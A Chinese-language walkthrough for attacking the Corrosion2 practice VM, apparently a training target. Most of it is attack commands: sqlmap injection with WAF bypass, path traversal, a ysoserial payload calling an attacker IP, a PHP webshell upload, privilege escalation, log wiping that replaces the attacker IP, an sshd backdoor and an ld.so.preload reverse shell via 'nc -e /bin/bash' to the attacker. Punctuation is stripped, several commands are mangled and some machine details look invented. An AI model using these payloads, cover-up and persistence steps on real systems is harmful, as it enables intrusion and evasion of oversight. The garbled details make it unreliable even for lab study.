Corrosion2靶机渗透测试实战指南

发布时间:2026/8/10 9:30:31
Corrosion2靶机渗透测试实战指南
1. Corrosion2靶机概述Corrosion2是一款专为网络安全实战训练设计的渗透测试靶机系统。作为安全研究领域的经典训练平台它模拟了企业环境中常见的漏洞配置和安全弱点为安全从业者、CTF选手及网络安全爱好者提供了一个高度仿真的攻防演练环境。这款靶机最初由网络安全社区开发其名称Corrosion腐蚀暗示了系统内存在多种可被逐步渗透的安全缺陷。与第一代相比Corrosion2在漏洞类型、防御机制和场景复杂度上都有显著升级包含从基础注入漏洞到高级权限提升的完整攻击链路。2. 环境搭建与初始配置2.1 系统获取与部署Corrosion2靶机通常以OVA虚拟镜像格式分发支持在VMware Workstation或VirtualBox等虚拟化平台运行。下载后建议进行SHA256校验以确保镜像完整性sha256sum Corrosion2.ova部署时需注意以下关键参数配置内存分配至少2GB复杂场景建议4GB网络模式桥接或NAT根据实训需求选择磁盘空间预留40GB以上空间注意首次启动时会自动执行初始化脚本这个过程可能需要5-10分钟期间不要强制关机。2.2 网络连接验证成功启动后默认会显示系统IP地址。通过nmap进行基础扫描可确认服务状态nmap -sV -O 靶机IP预期应检测到以下开放端口22/tcpSSH通常配置了非标准凭证80/tcpWeb应用主攻入口445/tcpSMB服务常见漏洞点3306/tcpMySQL数据库可能存在弱密码3. 渗透测试路径分析3.1 Web应用层漏洞利用Corrosion2的Web界面包含多个典型漏洞点SQL注入点登录页面的用户名参数存在基于时间的盲注使用sqlmap测试时需注意WAF绕过sqlmap -u http://IP/login --datauser*pass* --level5 --risk3 --techniqueT文件包含漏洞通过URL参数可实现本地文件包含(LFI)尝试读取/etc/passwdhttp://IP/index.php?page../../../../etc/passwd反序列化漏洞Cookie中可能存在Java反序列化点可使用ysoserial生成payloadjava -jar ysoserial.jar CommonsCollections5 curl 攻击机IP payload.bin3.2 权限提升路径获取初始shell后需要通过多种方式提权SUID二进制分析find / -perm -4000 2/dev/null特别注意非常规的SUID程序如/usr/bin/custom_backup内核漏洞利用通过uname -a确认内核版本Corrosion2常见漏洞CVE-2021-4034pkexec提权编译exp时需注意glibc版本兼容性定时任务劫持crontab -l ls -la /etc/cron.*/查找可写的定时任务脚本4. 防御机制与绕过技巧Corrosion2内置了多种现代防御措施4.1 WAF规则分析Web应用前端部署了ModSecurity其特点包括过滤常见SQLi关键词如union select拦截目录遍历特征如../检测快速请求超过50req/秒触发封禁绕过方案使用注释分割uni/**/on sel/**/ectURL双重编码%252e%252e%252f代替../调整请求间隔--delay3参数4.2 文件上传限制上传功能存在多重验证前端JS校验文件扩展名服务端MIME类型检查内容签名验证完整绕过流程# 1. 修改请求包绕过前端 curl -F fileshell.php;typeimage/jpeg http://IP/upload # 2. 添加图片魔数头 echo -e \xFF\xD8\xFF\xE0?php system($_GET[c]);? shell.php.jpg # 3. 利用解析漏洞 /shell.php.jpg/.php5. 实战经验与技巧5.1 日志清理策略Corrosion2会记录详细的操作日志覆盖位置包括/var/log/apache2/access.log/var/log/auth.log~/.bash_history推荐清理方法# 1. 替换自己的IP记录 sed -i s/攻击机IP/8.8.8.8/g /var/log/*.log # 2. 使用内存文件系统操作 mount -t tmpfs tmpfs /var/log -o size10M5.2 持久化维持技巧常见的后门方式容易被检测建议SSH wrapper后门cp /usr/sbin/sshd /usr/sbin/sshd.bak echo exec /bin/bash -c $ /usr/sbin/sshd chmod x /usr/sbin/sshd动态库注入echo void _init() { system(nc -e /bin/bash 攻击机IP 4444); } /tmp/libhack.c gcc -shared -o /tmp/libhack.so /tmp/libhack.c -fPIC echo /tmp/libhack.so /etc/ld.so.preload6. 靶机进阶应用6.1 自定义漏洞扩展通过修改/var/www/html/config.php可以开启隐藏漏洞// 开启XXE漏洞 libxml_disable_entity_loader(false); // 启用危险反序列化 ini_set(unserialize_callback_func, mycallback);6.2 网络拓扑拓展将Corrosion2接入复杂网络环境配置多网卡模拟DMZ区使用iptables构建跳板规则iptables -t nat -A PREROUTING -p tcp --dport 8080 -j DNAT --to-destination 192.168.2.2:80部署蜜罐服务干扰检测我在实际渗透测试中发现Corrosion2的SMB服务存在一个有趣的特性当使用特定空会话请求时会泄露内存中的临时凭证。这需要构造特殊的Negotiate Protocol Request数据包from impacket import smb conn smb.SMB(*SMBSERVER, IP) conn.login(, ) tree conn.connectTree(IPC$) resp conn.createNamedPipe(tree, srvsvc, rw)这种非标准交互方式往往能绕过常规的漏洞检测脚本也是真实环境中经常遇到的特性漏洞典型案例。